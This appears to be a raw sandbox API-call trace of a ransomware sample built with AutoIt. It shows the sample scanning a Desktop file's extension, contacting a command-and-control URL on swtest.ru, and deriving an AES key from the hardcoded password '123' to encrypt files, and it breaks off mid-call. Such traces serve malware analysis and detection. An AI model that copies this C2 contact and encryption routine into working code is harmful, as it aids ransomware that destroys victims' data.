returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="chsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.687] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.687] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.687] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.687] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.687] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.687] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.687] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.687] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.687] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c) returned 1 [0075.687] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.687] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.687] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.688] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.688] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.688] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.688] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.688] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.688] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.688] CloseHandle (hObject=0x0) returned 0 [0075.688] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.688] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.689] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.689] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.689] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.689] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.689] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.689] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.690] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.690] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.690] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.690] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.690] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.691] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.691] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.691] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.691] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.692] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.692] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.692] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.692] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.692] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.692] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.692] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.692] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621528, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.693] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.693] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.693] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.693] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.694] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.694] CryptHashData (hHash=0x164c830, pbData=0x16293b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.694] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.694] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.694] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.694] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621690, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.694] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.694] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.694] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.695] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.695] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.695] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.695] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.695] CryptDestroyHash (hHash=0x164c830) returned 1 [0075.695] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 